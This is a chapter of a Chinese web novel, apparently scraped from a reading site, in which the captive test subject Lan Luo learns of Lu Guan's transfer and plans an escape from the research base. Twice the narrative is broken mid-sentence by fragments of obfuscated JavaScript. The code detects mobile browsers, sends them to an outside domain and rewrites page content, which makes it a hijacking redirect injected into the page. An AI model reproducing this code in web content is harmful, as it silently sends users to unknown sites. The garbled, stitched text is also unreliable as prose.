平时这些电子屏大多空空荡荡,只有个别人会时不时晃动在上面,而现在各处都有研究员的身影,他们几乎守在了基地的各个角落。 这也许就是有异能的坏处了,平时要做研究,必要时刻还要做保镖,一个人打两份工。 兰落瞥了一眼,研究员的胸口挂着她的名字,于是捂着胸口一脸忐忑地问:“杨教授,陆先生他怎么了?” 年轻的研究员扫了她一眼:“不是和你待在一起晕的吗?你不比我清楚?” 这话让兰落心脏下意识一跳,但她的语气并不严肃,甚至有些戏谑,兰落的心也就慢慢放下去了。 她一面观察电子屏,一面对杨研究员解释:“我也不知道哇,突然就……” “噗——!” 姓杨的女人不知道为什么,突然捂着嘴笑了起来。 兰落静静注视着她看热闹的笑,直到杨研究员不好意思地停下来:“哎呦,不用解释了,懂得都懂。” “你也不用怕,陆先生也不是第一次这样了,他身体不好大家都是知道的。” 兰落问:“所以什么是懂得都懂?” “哎呀,”姓杨的研究员捂了捂嘴,“前辈被你们赶出房间之后都告诉我了,好多人都知道……” “知道什么?” 熟悉的嗓音喘着粗气出现在兰落的身后。 她有些惊讶地回头:“祝见尘?!” “你怎么回来了?” 祝见尘从阴影里缓缓走出来,脸上带着吊儿郎当的笑:“听说姓陆的快死了,回来吊唁。” 怎么可能,他虽然表情悠哉,但兰落很轻易地就能从他喘不匀的气息里听出他的匆忙。 “那你来早了。”她随口说。 杨研究员抿住嘴巴,眼珠子在他们两个中间来回打转,脸上写满看戏和吃瓜。 “这样啊,真是太可惜了。”祝见尘倚在桌边,脸上露出夸张的失望表情,演技惨不忍睹。 他的样子太松弛,一点也看不出急切,好像一路狂奔回来只为了闲聊看戏。 祝见尘冲兰落挑挑眉毛:“所以你们知道什么了?我就走了一会儿,怎么就有我不知道的事了?” 兰落心里只有怎么跑,哪里知道他们都知道了些什么东西,闻言避开祝见尘的视线没有回答。 “哇,”祝见尘捂住胸口,“你对我有秘密了。” 兰落像看智障一样看了他一眼。 杨研究员清了清嗓子:“这可不是秘密,好多人都知道,只有你不知道。” 兰落本来想走,听到这话脚步又犹豫了。 虽然知道她嘴里大概率说不出什么有用的,但万一呢? “所以到底是什么?”祝见尘抱着双臂一脸好奇。 兰落瞄了一眼电子屏,张烈正拿着通讯器在机械眼下飞奔,看路线是朝着大厅来了。 她抬头一瞧,祝见尘的口袋果然嗡嗡的。 他还在等杨研究员的八卦,根本没管响得乱七八糟的通讯器。 “说呀,都是同事有什么不能说的。”他催着杨研究员。 杨研究员咬着手指偷看兰落:“她好像不想说,小女孩脸皮薄,你别这样。” 祝见尘听完,唰一下转头看着兰落:“你脸皮薄?” “你口袋里,”兰落没正面回答,指指他的口袋,“在响。” 祝见尘看都不看,掏出通讯器就往兰落怀里扔:“不重要,你们到底瞒我什么了?” 兰落没理他,垂头看通讯器。 果然是张烈,他正在通讯里狂轰滥炸,让祝见尘赶紧去手术室。 祝见尘去手术室干嘛? 难道陆观需要做手术吗? 他们会不会查出他体内的毒素? 虽然兰落以前从没被查出来过,但这里是实验室,说不定有更高端的仪器,万一真检查出来了怎么办? 兰落假装不在意地把通讯器扔回祝见尘怀里,心里琢磨着这些可能,越想越觉得不能再待下去了。 她必须尽快跑路。 “哎呦,急什么?” 杨研究员还是没忍住,看了兰落一眼,一脸戏谑地说:“陆先生啊,和她单独相处了一会儿就晕了……当时刘前辈也在,他说兰落说了一些话,陆先生就把他赶走了嘿嘿嘿。” “说了什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766455|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祝见尘问杨研究员,眼睛却看着兰落。 兰落差点怀疑他在问自己了,直到杨研究员接过他的话头:“她说她对陆先生……” “……有见不得人的心思哦!” 杨研究员说完就嘻嘻哈哈笑起来,脸上满是对桃色新闻的热衷。 “谁?” 祝见尘没笑,还是看着兰落:“谁对谁?” 兰落也没笑,她自己都不记得当时到底说了什么,这人竟然记得比她还清楚,还在大庭广众之下说出来,就算是兰落也忍不住有点尴尬了。 杨研究员重复:“就是兰落对陆……” “祝见尘!” 还没说完,张烈急切的声音就响彻了整个大厅。 杨研究员看见来人,缩回原位装死,一点没有刚刚的活人气息。 兰落看着张烈终于联系上了祝见尘,却又敢怒不敢言的样子,心情奇妙地好了几分。 祝见尘脸上的表情很难看,之前不管什么情况他的嘴边都会带着笑意,现在却把嘴角拉得很平,看上去莫名有些阴沉。 “知道了。” 他冷淡地回应张烈,从兰落面前目不斜视走过去。 看来心情真的很差了。 兰落看着祝见尘十分罕见地走路带风,不顾张烈在旁边的唠叨消失在尽头。 大厅变得空寂,她最后看了看电子屏,看不出什么有用的东西,只能先回了房间。 沙发底下还躺着那把银白色的枪,兰落弯腰在地上摸了半天才把它勾出来。 有总比没有好,万一被发现了,这就是她最新的武器了。 兰落心里始终静不下来,给伤口来回喷了好几遍药,又把祝见尘之前挑出来的药吃了,看见伤口在慢慢愈合才安心了一点。 接下来要怎么办? 她揪着自己的头发,在心里推演了好几种逃跑的可能,最终都被推翻。 太弱了,她太弱了。 兰落摸着心脏沉思,虽然是龙凤胎,但和她不同的是,兰升的体力速度都是最上乘,如果困在这里的是兰升,恐怕逃跑的成功率要翻好几倍。 如果她能吞噬兰升的心脏…… “咚咚咚!” 门被敲得轻响,兰落被迫收回思绪。 “谁?” 她扬声问,手指摸到枪柄。 “是我。” 兰落听到熟悉的声音,把房门拉开一条缝。 祝见尘穿着一套实验体服装,倚着门框低头看她。 “你来干嘛?”她隔着门缝问,手指还是没敢离开枪柄。 祝见尘脸上带着一丝疲惫,唇色发白,难得没有满嘴跑火车:“求安慰。” “什么安慰?” 兰落皱眉,一个研究员,找实验体求安慰,简直不知好歹。 祝见尘站直一些,伸手推开房门径直走了进来。 兰落站在门口看他轻车熟路的样子,暂时放下了扶着枪的手。 “你为什么穿着这套衣服?” 祝见尘站在房间中央扫视着这里的一片狼藉,兰落没心情整理房间,干脆就让它们乱着。 “我才走了一会儿,怎么乱成这样?” 祝见尘扶了扶药架子,语气竟然有些温柔。 “他们弄乱的,懒得收拾了。”兰落说。 祝见尘目光停留在沙发上: “你就是在这里,和他说你喜欢他的吗?” 15. 出逃 “什么?” 兰落没搞懂他的脑回路,听到这话有些不可置信地反问。 “我说,”祝见尘直视着她,一脸认真:“你就是在这里……” “没有。”兰落心烦意乱地打断他,不想再重复这种讨厌的话题。 “是吗。” 祝见尘还是一脸苍白地盯着她,过了好几秒才笑出来:“那就好那就好,我是来说他坏话的,你可不能喜欢他!” 兰落提取了关键词:“什么坏话?” 祝见尘“唰”一声拉开袖子,露出上面青红的针孔:“看,他偷我血!” “偷了好多好多,都补不回来了。” 怪不得他面色这么苍白。 “那你还上赶着回来输血?”兰落有些惊讶,“你们的血很稀缺吗,为什么不用血库的?” 祝见尘放下袖子,刚刚的夸张消失殆尽,语气略显疲惫:“嫌弃血库的呗。” 兰落不太能理解这些人的想法,干脆尊重他人命运,不说话了。 祝见尘也不说话,就默默盯着她看,直看得兰落后背发毛。 “你在看什么?”她忍无可忍问道。 祝见尘声音淡淡的:“你也失血了吧。” 兰落飞快看他一眼,和他的目光在空气中撞在一起。 “你在说什么?” 她装作不理解的样子,理直气壮盯着祝见尘。 祝见尘嬉皮笑脸,但苍白的唇色让他的表情少了几分欠揍,多了几分可怜: “你也失血了吧。” “就像上次一样。” “故技重施?” “这次失败了是不是?” 他一句一句轻飘飘砸下来,越说兰落的眉心皱得越紧。 “你到底在说什么?” 祝见尘靠近她,两个人之间只剩下半个手臂的距离,兰落手指抽动,忍住了掏枪的欲望。 “面包怪。”他说。 “怎么,”兰落问,“怀念你的前同事了?” 祝见尘一屁股坐在地上:“才不是。” “那就少说废话。”兰落声音冷淡。 祝见尘没有继续招惹她,老老实实闭上了嘴,往地上一瘫不动了。 兰落想赶他走,用脚尖不太大力地踢他,祝见尘挨踢了也不生气,毫无形象地翻滚一圈继续躺着,狗皮膏药一样。 “懒得管你。”兰落转身去浴室。 “兰落,”祝见尘突然叫住她,“你有没有想去的地方?” 哪壶不开提哪壶。 兰落握着门把手,力气大得几乎要捏碎它:“你指的是鸽子笼还是手术室?” “都不是。” 祝见尘声音有点小:“我是指外面,基地外面。” “我能去的最远的地方,都在基地里。” 兰落“砰”一声摔上门,躲在浴室不出来了。 她本来就够糟心的,祝见尘还偏要反复往她伤口上撒盐,兰落连装都懒得装了,语气里满是嘲讽和怨恨。 外间没有再传来什么声音,兰落看着镜子,她的头发好像长了一点。 进基地前头发到哪了来着? 兰落想不起来了,在基地的日子似乎很容易让人对时间丧失感知。 小时候她和兰升的头发长得都很快,她爸妈一边满嘴嫌弃,一边手忙脚忙给他们剪头发。 不过大多是剪兰升的。 “男孩子家家,头发那么长像什么样子,快来快来,给你剪一剪。” 他们说女孩子头发长一些也好看,没必要经常剪。 他们长大一些后,也不知道是不是学会控制自己了,头发倒不再像小时候一样疯长。 兰落回忆着那时候的场景,揪着发尾拿起小剪子开始剪。 基地的剪刀是圆角的,很小很钝,她提了好几次张烈才愿意让人送过来。 没用的剪刀,连头发都剪不动。 兰落心烦意乱地把剪刀扔到一边,她左侧的发尾少了一截,参差不齐的。 陆观现在的情况不知道怎么样了,至少张烈他们没有找到自己头上,她暂时还是安全的。 但又能安全多久呢……兰落注视着镜子里的自己,她不信陆观醒来之后会善罢甘休,到时候只怕插翅难飞。 她要赶在陆观醒之前离开这里…… 兰落吐出一口浊气,决定去基地后门走一圈,研究员都分散在各处的话,说不定那里反而宽松一些。 至于路上会不会被他们拦住,就不在她的考虑范围之内了。 祝见尘不知道什么时候已经离开了,兰落看了一眼,他把药架子又整理好了,其他被弄乱的东西似乎也归了位。 多此一举,她根本不在乎。 兰落走到门口,刚拉开门,一个高大的身影就笼罩下来。 “你为什么守在这里?” 兰落皱着眉头看站在门口的祝见尘,第一时间怀疑张烈发现了什么,派他来看守自己。 祝见尘愣了一下,收回准备敲门的手:“我去了治疗室一趟,刚准备敲门你就出来了。” 他恢复了嬉皮笑脸的欠揍模样:“怎么样,这算不算是心有灵犀?” 兰落放松了一点,懒得理他,径直越过祝见尘往外走。 “哎,”祝见尘突然伸开双臂拦住她,“去哪儿啊你?现在到处都有研究员守着。” “他们守着关我什么事?”兰落不耐烦。 祝见尘却把目光移到她的头发上:“基地有老鼠?” 兰落真心觉得他脑子不好:“老鼠可不敢来,来了就得躺手术室。” “没有老鼠?”祝见尘状似不解,“那你的头发被什么啃了?” 兰落愣了一下,连气都忘了生。 “有病。”她反应了几秒才骂出口,抬手把头发甩到身后。 “我给你剪我给你剪!我会剪头发!” 祝见尘不知道发了什么病,硬是拦着把她赶回房间。 兰落彻底失去耐心:“给你三秒钟,滚出……” “凌晨五点开始,陆观会被转移到医疗院。” 她骂到一半就被祝见尘打断,他的声音不大,落在兰落耳朵里却如平地惊雷。 兰落不可置信地盯着祝见尘,他用身体抵着门板,脸上的神色非常认真,半点没有平时的满嘴跑火车。 “为什么告诉我?”她视线锁着祝见尘。 祝见尘在她的注视下视线飘忽,舔了舔嘴唇:“我也是刚知道这个消息,感觉你应该用的上……吧。” 兰落还是盯着他,手指抽动:“为什么?” “因为他身体比较娇贵,基地也不敢怠慢,联系了医疗院就准备紧急转移他……” “我问的不是这个。”兰落打断他。 祝见尘怔了一瞬,然后哦哦两声,声音又低了一点:“我就是跟你分享一下,基地这么无聊,好不容易有点八卦肯定要分享一下。” “嗯。”兰落随口敷衍,心里却在琢磨陆观转移对她来说能有什么好处。 祝见尘看天看地:“真不要我给你剪个头发吗?我手艺特别好,真的。” “不用了。”兰落暂时给了他一点好脸色。 “哎呀!”祝见尘眼神亮了亮,“剪一下吧,反正现在都不准实验体外出了。” 说着就一翻手拿出一把细长的小剪刀。 兰落无语,忘了他是个打蛇随棍上的家伙了。 她没同意也没拒绝,抱着双臂站在原地。 祝见尘看着她的脸色,试探性地拎起一撮头发。 “咔嚓”,漆黑的发丝掉落在地。 祝见尘剪得很快,没多久她的头发就短了一截,脖子也清爽许多。 兰落摸摸发尾,根本没在意他剪的怎么样,她现在满脑子都是陆观要转移。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771078|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊,剪的真不错。” 祝见尘满意地夸完自己,话题一转开始很夸张地吐槽:“但是好烦啊,姓陆的架子真大,转移一下而已,张烈竟然让我们全都护着他直到交接完成。” “全部护着?”兰落敏锐捕捉到什么。 祝见尘一脸自然:“全部,全部哦。” 兰落沉默,心脏开始不受控制地抽动。 “我知道了。”半晌,她才说。 “我也要去的。”祝见尘的手背在身后扣门板。 兰落点头:“嗯,去吧。” 她在想祝见尘这些话的真实性,以及研究员全部护送陆观的话,她能有几分机会离开这里。 祝见尘继续扣着门,眼神落在她身上。 “算了,你真敷衍。” 他不等兰落回应继续说:“我帮你一次怎么样?” 兰落一脸狐疑地问:“为什么帮我?” “陆观只会从前门转移,所以后门会非常松懈。” 他不回答兰落,自顾自解释: “基地的门需要生物识别,但为了保险都有手动锁,一旦基地断电就会自动启用手动锁。” “手动锁的钥匙就在门边墙砖里,断电之后才会松动,具体是哪块我也不知道。” “剩下的就靠你自己吧,我必须随陆观一起转移,帮不了你什么了。” “还有,架子上的药都挺好的,别忘了用!” 祝见尘始终不看她,一句接一句地砸下来,话音刚落就飞快拉开房门钻出去,留下兰落一脸复杂地看着他的背影。 她倒不是感动,而是—— ——他既然什么都知道,为什么不能早点说! 兰落消化了一下这些消息,还是决定铤而走险信他一次。反正她现在也没别的办法,试一试总比等死好。 她塞了几瓶便携的药在身上,掐着时间溜出房门朝后方去。 兰落打算先绕去鸽子笼,那里机械眼相对来说少一些,被发现的概率比较低。 她还能顺便把花子从鸽子笼放出来,至于花子能不能逃出去,就不关她的事了。 “警告你,给我安分一点!再让我发现你乱咬人,把你蛇头剁下来!” 上次的研究员踹了一脚蛇头的房间,撂下一句威胁就步履匆匆走了。 兰落躲在一边,看着他往自己反方向走远了,这才贴着墙边溜出来,找到花子的鸽子笼。 花子威胁程度低,所以她的房间平常只用一根门栓从外面栓起来,有时候甚至连门栓都懒得栓。 花子跟她说最开始研究员看到她乱跑会打她,但经过她不懈的谄媚,早就获得了睁一只眼闭一只眼的特权。 兰落轻轻拉开门栓,把门推开一条小缝:“花子?” 房间里漆黑一片,单人床上有鼓起的影子。 兰落虚掩着门,脚步轻挪:“花子,你在吗?” 床上的人影没有任何反应,但兰落可以看出薄被的轻微起伏。 是活人。 她后退两步,直觉哪里不对劲。 这里就是花子的房间,她绝对没有走错。 花子的反应很敏捷,不会睡死成这样,更不会故意不理她。 反正门已经替花子打开了,剩下的事不归她管,兰落不想沾上不必要的麻烦,果断抽身准备离开。 “扑通!” 一声闷响中,模糊的人影滚下床,在地上翻滚两圈,却依旧一声不吭。 兰落紧张地朝外看,现在已经凌晨五点出头,她不确定研究员多久能护送完毕,再拖下去恐怕不妙。 早知道不管了。 她拉开房门,看也不看身后直接往外冲。 一双冰冷的手突然伸出,死死摁住了兰落的脚踝。 “放开!” 她低喝一声,抬脚就朝人影头上踹。 这不是花子的手!